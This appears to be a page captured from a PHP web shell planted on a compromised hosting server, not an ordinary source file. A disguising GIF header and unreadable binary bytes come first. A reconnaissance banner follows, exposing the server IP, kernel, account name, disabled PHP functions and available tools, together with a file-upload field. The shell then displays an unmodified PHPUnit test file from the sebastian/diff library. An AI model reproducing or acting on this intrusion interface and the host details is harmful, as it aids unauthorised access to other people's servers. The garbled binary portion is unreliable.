GIF89a=( ý' 7IAXKgNgYvYx\%wh&h}týh%ýs%xý}9ýRýý&ý0%ý (ý.ýý5ýSDýý&ýa)ýx5ýý;c*!&r)ï7õ<{4ý3ýH§KoTýýYýaqýýqýýFý !ý ' !ýNETSCAPE2.0 , =( ýýpH,ý$rýl:x(tJýZý,výýzýýxL.:ýýzýnýýý|Nýýýýý~ýýýýýýý& !ý0`9Rý}ýý"ý"a:Sý~xýýýýýýýýgýýýEýýýýýýýRýýýEýýýýBýý ýý8ýýDýýý"ýný ýHýýLýýDkDýBýýýýýDýýýTýýýH ýGýýA Rý |ýým&ýýE8ýSýkGýAýpxýaýýýR2XBýýE8Iýýý6Xý:vT)ý~ýýqýåýý"F~%xý ý 4#Zý0O|-4BsýX:= Qý SalýýyXJ`G&|shýýK3l7ýB|ý$'7J©*0!ýýDýn=ýPýýýýý0`ýRýljýýýýv>ýýý5 ý.69ýødýýýýýnlvý9ýýf{ýýýPbxýl5}ýpýýýýý3aýýýIýOýýýý!>ýýýiýý9ýý#ýý)pýa ½ ý{ý)vmýý%D~6fýýs}RýDýW Eý`!ý ý&L8xý ý{)x`X/>ý}mýýRý*|`Dý=ý_ ^ý5!_&'aýOý7ýcýý`DCx`ý¥ý9ýYýFýýý`?ýý"ý ýn@`ý} lýý@4>ýd S ývýxNýý"@~dýý=ýgýs~Gýýýýýýud &p8Qý)«lXDýýýýA~HýySunýjýýýk*DýLHý] ýýC"JýýXb~ªwSt}6K,ýýqýS:9*:ýýýlý@ý`ýý ý.ìýt9ýSý[©:ýý=`9Nýýýý{¿ýA !Rý:ýýý6ýýxý0ý_ ý;ýýýýýý^ýýý#ýýýý!ýýýýUýýý;0L1ýýýýýp%AýýU,uýý%ýSýý!ýýý~`ýGýýýý ýýý=4ýnpý3ýýýýýýýýýuýuýn|%2ýIýýrý#0ýýJ``8ý@S@5ýýýý^`8Eý]ý.ýSýýý7 ý ý0ýj SýDý zýýýiýSýýýýý!ýýýlýýw9*ýDýIýnEXýýý &AýGoýQfýýFýý;ýýý}ýJýýýýF5ýýQ|ýýýXýýTýýyýýý]ý o ýýC=ýý:ýýýPB@ DýSý(>ýCýx}`ýýxJ,ýàýýp+eE0`ý}`Aý/NEýý ý9@ýýý Hý7ý!%B0`ýl*ýý!8 2ý%ý ý:ý1ý0Eýýux%nP1ý!ýC)ýP81lýxF#¬{ýýýýB0>ýý
Server IP : 217.18.85.50 / Your IP : 3.135.249.119 Web Server : LiteSpeed System : Linux server50.tr85.dhs.com.tr 3.10.0-962.3.2.lve1.5.85.el7.x86_64 #1 SMP Thu Apr 18 15:18:36 UTC 2024 x86_64 User : ferhatgenc ( ) PHP Version : 7.2.34 Disable Function : restore_ini,mail,openbasedir,f_open,system,dl,array_compare,array_user_key_compare,passthru,cat,exec,popen,proc_close,proc_get_status,proc_nice,proc_open,escapeshellcmd,escapeshellarg,show_source,posix_mkfifo,ini_restore,mysql_list_dbs,getmyuid,pconnect,link,symlink,fin,passthruexec,fileread,shell_exec,pcntl_exec,ini_alter,leak,apache_child_terminate,chown,posix_kill,posix_setpgid,posix_setsid,posix_setuid,proc_terminate,syslog,allow_url_fopen,fpassthru,execute,shell,chgrp,passthru,socket_select,socket_create,socket_create_listen,socket_create_pair,socket_listen,socket_accept,socket_bind,foreach,socket_strerror,pcntl_fork,pcntl_signal,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,openlog,apache_get_version,apache_getenv,apache_note,apache_setenv,virtualal MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/ferhatgenc/public_html/vendor/sebastian/diff/tests/ |
Upload File : |
<?php declare(strict_types=1); /* * This file is part of sebastian/diff. * * (c) Sebastian Bergmann <sebastian@phpunit.de> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Diff; use PHPUnit\Framework\TestCase; use SebastianBergmann\Diff\Output\UnifiedDiffOutputBuilder; /** * @covers SebastianBergmann\Diff\Differ * @covers SebastianBergmann\Diff\Output\UnifiedDiffOutputBuilder * * @uses SebastianBergmann\Diff\MemoryEfficientLongestCommonSubsequenceCalculator * @uses SebastianBergmann\Diff\TimeEfficientLongestCommonSubsequenceCalculator * @uses SebastianBergmann\Diff\Output\AbstractChunkOutputBuilder */ final class DifferTest extends TestCase { /** * @var Differ */ private $differ; protected function setUp(): void { $this->differ = new Differ; } /** * @param array $expected * @param array|string $from * @param array|string $to * * @dataProvider arrayProvider */ public function testArrayRepresentationOfDiffCanBeRenderedUsingTimeEfficientLcsImplementation(array $expected, $from, $to): void { $this->assertSame($expected, $this->differ->diffToArray($from, $to, new TimeEfficientLongestCommonSubsequenceCalculator)); } /** * @param string $expected * @param string $from * @param string $to * * @dataProvider textProvider */ public function testTextRepresentationOfDiffCanBeRenderedUsingTimeEfficientLcsImplementation(string $expected, string $from, string $to): void { $this->assertSame($expected, $this->differ->diff($from, $to, new TimeEfficientLongestCommonSubsequenceCalculator)); } /** * @param array $expected * @param array|string $from * @param array|string $to * * @dataProvider arrayProvider */ public function testArrayRepresentationOfDiffCanBeRenderedUsingMemoryEfficientLcsImplementation(array $expected, $from, $to): void { $this->assertSame($expected, $this->differ->diffToArray($from, $to, new MemoryEfficientLongestCommonSubsequenceCalculator)); } /** * @param string $expected * @param string $from * @param string $to * * @dataProvider textProvider */ public function testTextRepresentationOfDiffCanBeRenderedUsingMemoryEfficientLcsImplementation(string $expected, string $from, string $to): void { $this->assertSame($expected, $this->differ->diff($from, $to, new MemoryEfficientLongestCommonSubsequenceCalculator)); } public function testTypesOtherThanArrayAndStringCanBePassed(): void { $this->assertSame( "--- Original\n+++ New\n@@ @@\n-1\n+2\n", $this->differ->diff(1, 2) ); } public function testArrayDiffs(): void { $this->assertSame( '--- Original +++ New @@ @@ -one +two ', $this->differ->diff(['one'], ['two']) ); } public function arrayProvider(): array { return [ [ [ ['a', Differ::REMOVED], ['b', Differ::ADDED], ], 'a', 'b', ], [ [ ['ba', Differ::REMOVED], ['bc', Differ::ADDED], ], 'ba', 'bc', ], [ [ ['ab', Differ::REMOVED], ['cb', Differ::ADDED], ], 'ab', 'cb', ], [ [ ['abc', Differ::REMOVED], ['adc', Differ::ADDED], ], 'abc', 'adc', ], [ [ ['ab', Differ::REMOVED], ['abc', Differ::ADDED], ], 'ab', 'abc', ], [ [ ['bc', Differ::REMOVED], ['abc', Differ::ADDED], ], 'bc', 'abc', ], [ [ ['abc', Differ::REMOVED], ['abbc', Differ::ADDED], ], 'abc', 'abbc', ], [ [ ['abcdde', Differ::REMOVED], ['abcde', Differ::ADDED], ], 'abcdde', 'abcde', ], 'same start' => [ [ [17, Differ::OLD], ['b', Differ::REMOVED], ['d', Differ::ADDED], ], [30 => 17, 'a' => 'b'], [30 => 17, 'c' => 'd'], ], 'same end' => [ [ [1, Differ::REMOVED], [2, Differ::ADDED], ['b', Differ::OLD], ], [1 => 1, 'a' => 'b'], [1 => 2, 'a' => 'b'], ], 'same start (2), same end (1)' => [ [ [17, Differ::OLD], [2, Differ::OLD], [4, Differ::REMOVED], ['a', Differ::ADDED], [5, Differ::ADDED], ['x', Differ::OLD], ], [30 => 17, 1 => 2, 2 => 4, 'z' => 'x'], [30 => 17, 1 => 2, 3 => 'a', 2 => 5, 'z' => 'x'], ], 'same' => [ [ ['x', Differ::OLD], ], ['z' => 'x'], ['z' => 'x'], ], 'diff' => [ [ ['y', Differ::REMOVED], ['x', Differ::ADDED], ], ['x' => 'y'], ['z' => 'x'], ], 'diff 2' => [ [ ['y', Differ::REMOVED], ['b', Differ::REMOVED], ['x', Differ::ADDED], ['d', Differ::ADDED], ], ['x' => 'y', 'a' => 'b'], ['z' => 'x', 'c' => 'd'], ], 'test line diff detection' => [ [ [ "#Warning: Strings contain different line endings!\n", Differ::DIFF_LINE_END_WARNING, ], [ "<?php\r\n", Differ::REMOVED, ], [ "<?php\n", Differ::ADDED, ], ], "<?php\r\n", "<?php\n", ], 'test line diff detection in array input' => [ [ [ "#Warning: Strings contain different line endings!\n", Differ::DIFF_LINE_END_WARNING, ], [ "<?php\r\n", Differ::REMOVED, ], [ "<?php\n", Differ::ADDED, ], ], ["<?php\r\n"], ["<?php\n"], ], ]; } public function textProvider(): array { return [ [ "--- Original\n+++ New\n@@ @@\n-a\n+b\n", 'a', 'b', ], [ "--- Original\n+++ New\n@@ @@\n-A\n+A1\n B\n", "A\nB", "A1\nB", ], [ <<<EOF --- Original +++ New @@ @@ a -b +p c d e @@ @@ g h i -j +w k EOF , "a\nb\nc\nd\ne\nf\ng\nh\ni\nj\nk\n", "a\np\nc\nd\ne\nf\ng\nh\ni\nw\nk\n", ], [ <<<EOF --- Original +++ New @@ @@ -A +B 1 2 3 EOF , "A\n1\n2\n3\n4\n5\n6\n1\n1\n1\n1\n1\n1\n1\n1\n1\n1\n1\n1\n1\n1\n1\n", "B\n1\n2\n3\n4\n5\n6\n1\n1\n1\n1\n1\n1\n1\n1\n1\n1\n1\n1\n1\n1\n1\n", ], [ "--- Original\n+++ New\n@@ @@\n #Warning: Strings contain different line endings!\n-<?php\r\n+<?php\n A\n", "<?php\r\nA\n", "<?php\nA\n", ], [ "--- Original\n+++ New\n@@ @@\n #Warning: Strings contain different line endings!\n-a\r\n+\n+c\r\n", "a\r\n", "\nc\r", ], ]; } public function testDiffToArrayInvalidFromType(): void { $this->expectException(InvalidArgumentException::class); $this->expectExceptionMessageRegExp('#^"from" must be an array or string\.$#'); $this->differ->diffToArray(null, ''); } public function testDiffInvalidToType(): void { $this->expectException(InvalidArgumentException::class); $this->expectExceptionMessageRegExp('#^"to" must be an array or string\.$#'); $this->differ->diffToArray('', new \stdClass); } /** * @param array $expected * @param string $input * * @dataProvider provideSplitStringByLinesCases */ public function testSplitStringByLines(array $expected, string $input): void { $reflection = new \ReflectionObject($this->differ); $method = $reflection->getMethod('splitStringByLines'); $method->setAccessible(true); $this->assertSame($expected, $method->invoke($this->differ, $input)); } public function provideSplitStringByLinesCases(): array { return [ [ [], '', ], [ ['a'], 'a', ], [ ["a\n"], "a\n", ], [ ["a\r"], "a\r", ], [ ["a\r\n"], "a\r\n", ], [ ["\n"], "\n", ], [ ["\r"], "\r", ], [ ["\r\n"], "\r\n", ], [ [ "A\n", "B\n", "\n", "C\n", ], "A\nB\n\nC\n", ], [ [ "A\r\n", "B\n", "\n", "C\r", ], "A\r\nB\n\nC\r", ], [ [ "\n", "A\r\n", "B\n", "\n", 'C', ], "\nA\r\nB\n\nC", ], ]; } public function testConstructorNull(): void { $this->assertAttributeInstanceOf( UnifiedDiffOutputBuilder::class, 'outputBuilder', new Differ(null) ); } public function testConstructorString(): void { $this->assertAttributeInstanceOf( UnifiedDiffOutputBuilder::class, 'outputBuilder', new Differ("--- Original\n+++ New\n") ); } public function testConstructorInvalidArgInt(): void { $this->expectException(InvalidArgumentException::class); $this->expectExceptionMessageRegExp('/^Expected builder to be an instance of DiffOutputBuilderInterface, <null> or a string, got integer "1"\.$/'); new Differ(1); } public function testConstructorInvalidArgObject(): void { $this->expectException(InvalidArgumentException::class); $this->expectExceptionMessageRegExp('/^Expected builder to be an instance of DiffOutputBuilderInterface, <null> or a string, got instance of "SplFileInfo"\.$/'); new Differ(new \SplFileInfo(__FILE__)); } }